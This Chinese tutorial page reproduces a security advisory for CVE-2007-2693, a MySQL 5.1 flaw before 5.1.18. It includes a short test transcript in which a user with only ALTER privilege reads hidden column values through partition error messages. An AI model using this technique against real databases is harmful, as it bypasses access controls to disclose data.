程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
 程式師世界 >> 數據庫知識 >> MYSQL數據庫 >> MySQL綜合教程 >> 導致MySQL Alter Table函數信息洩露的原因

導致MySQL Alter Table函數信息洩露的原因

編輯:MySQL綜合教程

以下的文章主要講述的那些情況導致MySQL Alter Table函數的相關信息出現洩露漏洞,如果你在使用MySQL Alter Table中出現相關的情況的話,你就可以通過以下的文章對其有個研究吧!

受影響系統:

  1. MySQL AB MySQL 5.1.x < 5.1.18  

不受影響系統:

  1. MySQL AB MySQL 5.1.18  

描述:BUGTRAQ ID: 24008

CVE(CAN) ID: CVE-2007-2693

MySQL是一款使用非常廣泛的開放源代碼關系數據庫系統,擁有各種平台的運行版本。

MySQL Alter Table功能實現上存在漏洞,能夠以合法帳號登錄到數據庫系統的攻擊者可能利用此漏洞非授權獲取數據表相關的敏感信息。

如果用戶對表格擁有ALTER權限的話,則即使沒有SELECT權限也可以通過ALTER TABLE語句獲得某些有關表格的敏感信息。例如,用戶可以發布以下命令:

  1. ALTER TABLE table1 PARTITION BY LIST (column1) (PARTITION x VALUES IN (0));  

MySQL會返回錯誤消息:

  1. "Table has no partition for value 18".  

這樣該用戶就可以知道存在column1 = 18的列。

測試方法:

以root用戶發布:

  1. mysql> create table tu (s1 int);   
  2. Query OK, 0 rows affected (0.00 sec)   
  3. mysql> insert into tu values (1);   
  4. Query OK, 1 row affected (0.00 sec)   
  5. mysql> grant alter on tu to molly@localhost;   
  6. Query OK, 0 rows affected (0.01 sec)   
  7.  

以molly@localhost發布:

  1. mysql> select * from tu;   
  2. ERROR 1142 (42000): SELECT command denied to user 'molly'@'localhost' for table   
  3. 'tu'   
  4. mysql> alter table tu partition by list (s1) (partition p1 values in (1));   
  5. Query OK, 1 row affected (0.05 sec)   
  6. Records: 1 Duplicates: 0 Warnings: 0   
  7. mysql> alter table tu partition by list (s1) (partition p1 values in (2));   
  8. ERROR 1513 (HY000): Table has no partition for value 1  

以上的相關內容就是對MySQL Alter Table函數信息洩露漏洞的介紹,望你能有所收獲。

  1. 上一頁:
  2. 下一頁:
Copyright © 程式師世界 All Rights Reserved